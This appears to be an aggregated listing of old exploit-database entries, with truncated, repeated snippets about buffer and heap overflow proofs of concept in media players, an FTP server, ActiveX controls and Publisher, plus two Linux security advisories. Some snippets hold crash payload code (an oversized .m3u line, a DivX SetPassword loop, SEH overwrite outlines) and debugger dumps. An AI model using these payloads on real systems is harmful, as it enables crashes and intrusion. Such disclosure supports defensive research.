dBpowerAMP Audio Player Release 2 Remote Buffer Overflow

dBpowerAMP Audio Player Release 2 Remote Buffer Overflow 0:002 r eax=00000000 ebx=77c17a50 ecx=00000000 edx=00000107 esi=00000000 edi=00b8f217 eip=00004141 esp=00b8ede0 ebp=77c0f931 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 00004141 ?? ???...

NERO Media Player 1.4.0.35b - .m3u File Buffer Overflow (PoC)

NERO Media Player 1.4.0.35b - .m3u File Buffer Overflow PoC NERO Media Player $file" or die "Cannot open $file: $!"; print $FILE "http://"."A" x 700; close$FILE; print "$file has been created \n"; print "Upload it, and open it with Nero Media Player\n"; print "Credits:Securfrog"; Btw , after the...

NERO Media Player 1.4.0.35b - '.m3u' File Buffer Overflow (PoC)

NERO Media Player $file" or die "Cannot open $file: $!"; print $FILE "http://"."A" x 700; close$FILE; print "$file has been created \n"; print "Upload it, and open it with Nero Media Player\n"; print "Credits:Securfrog"; Btw , after the crash /if not exploited .../ you wont be able to open Nero...

dBpowerAMP Audio Player 2 - '.m3u' Buffer Overflow (PoC)

dBpowerAMP Audio Player Release 2 Remote Buffer Overflow 0:002 r eax=00000000 ebx=77c17a50 ecx=00000000 edx=00000107 esi=00000000 edi=00b8f217 eip=00004141 esp=00b8ede0 ebp=77c0f931 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 00004141 ?? ???...

Titan FTP Server 6.03 (USER/PASS) Remote Heap Overflow PoC

No description provided by source. Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg Output: bec.528: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141...

titan-heap.txt

Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg Output: bec.528: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000000 ecx=07e415f4 edx=0000000...

Titan FTP Server Remote Heap Overflow (USER/PASS)

Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg Output: bec.528: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000000 ecx=07e415f4 edx=0000000...

Titan FTP Server 6.03 - USERPASS Remote Heap Overflow (PoC)

Titan FTP Server 6.03 - USERPASS Remote Heap Overflow PoC Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg Output: bec.528: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and...

Titan FTP Server 6.03 (USER/PASS) Remote Heap Overflow PoC

Exploit for unknown platform in category dos / poc ========================================================== Titan FTP Server 6.03 USER/PASS Remote Heap Overflow PoC ========================================================== Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg...

Titan FTP Server 6.03 - 'USER/PASS' Remote Heap Overflow (PoC)

Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg Output: bec.528: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000000 ecx=07e415f4 edx=0000000...

DivX Player 6.6.0 ActiveX SetPassword() Denial of Service PoC

No description provided by source. object id="divx" classid="clsid:D050D736-2D21-4723-AD58-5B541FFB6C11" style="display:none;" /object script function crash var buff = ''; fori=0;i=500;i++ buff+="AAAAAAAAAA"; object = document.getElementById"divx"; object.SetPasswordbuff; /script pre h3uDivX...

Microsoft Office Publisher

I found two ways to cause a denial of service on the Microsoft Office Publisher, this is done by creating a malformed file with the following characteristics: The first is to create a new file and modifying hexadicimal with an editor from the direction 00006B90 to 00006D90 with the letter "A", th...

iMesh <= 7.1.0.x (IMWeb.dll 7.0.0.x) Remote Heap Overflow Exploit

No description provided by source. !-- iMesh = 7.1.0.x IMWebControl Class IMWeb.dll 7.0.0.x remote heap exploit IE7/XP full patched by rgod, site: http://retrogod.altervista.org/ software site: http://www.imesh.com "iMesh is a file sharing and online social network. It uses a proprietary,...

Fedora 7 : squid-2.6.STABLE16-2.fc7 (2007-4161)

Thu Dec 6 2007 Martin Nagy - 7:2.6.STABLE16-1 - Upstream patch to fix CVE-2007-6239 410181 - Fri Sep 7 2007 Martin Bacovsky - 7:2.6.STABLE16-1 - upgrade to latest upstream 2.6.STABLE14 - Wed Aug 1 2007 Martin Bacovsky - 7:2.6.STABLE14-1 - upgrade to latest upstream 2.6.STABLE14 - Mon Jun 4 2007...

omt-bofpoc.txt

------------------------------------------------------------------------------- Online Media Technologies AVSMJPEGFILE.DLL 1.1 Remote Buffer Overflow url: www.avsmedia.com Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written for educational purpose...

Mandrake Linux Security Advisory : openssh (MDKSA-2007:236)

A flaw in OpenSSH prior to 4.7 prevented ssh from properly handling when an untrusted cookie could not be created and used a trusted X11 cookie instead, which could allow attackers to violate intended policy and gain privileges by causing an X client to be treated as trusted. The updated packages...

Apple QuickTime 7.2/7.3 RTSP Response Remote SEH Overwrite PoC

No description provided by source. !/usr/bin/python Apple QuickTime 7.3 RTSP Response 0day Remote SEH Overwrite PoC Exploit Bug discovered by Krystian Kloskowski h07 [email protected] Tested on: Apple QuickTime Player 7.3 / XP SP2 Polish Details:.. RTSP Content-Type: A 995 + B 4096\r\n...

aquick-rstp.txt

/ ============================================================= Apple Quicktime Vista/XP RSTP Response Remote Code Exec ============================================================= Discovered by: h07 Author: InTeL Tested on: - Quicktime 7.3 on Windows Vista, Result: SEH Overwrite, Code Exec -...

Apple QuickTime 7.2/7.3 - RTSP Response Remote Overwrite (SEH)

!/usr/bin/python Apple QuickTime 7.3 RTSP Response 0day Remote SEH Overwrite PoC Exploit Bug discovered by Krystian Kloskowski h07 Tested on: Apple QuickTime Player 7.3 / XP SP2 Polish Details:.. RTSP Content-Type: A 995 + B 4096\r\n 0x41414141 Pointer to next SEH record 0x42424242 SE handler...

Apple QuickTime 7.2/7.3 RTSP Response Remote SEH Overwrite PoC

Exploit for multiple platform in category dos / poc ============================================================== Apple QuickTime 7.2/7.3 RTSP Response Remote SEH Overwrite PoC ============================================================== !/usr/bin/python Apple QuickTime 7.3 RTSP Response 0day...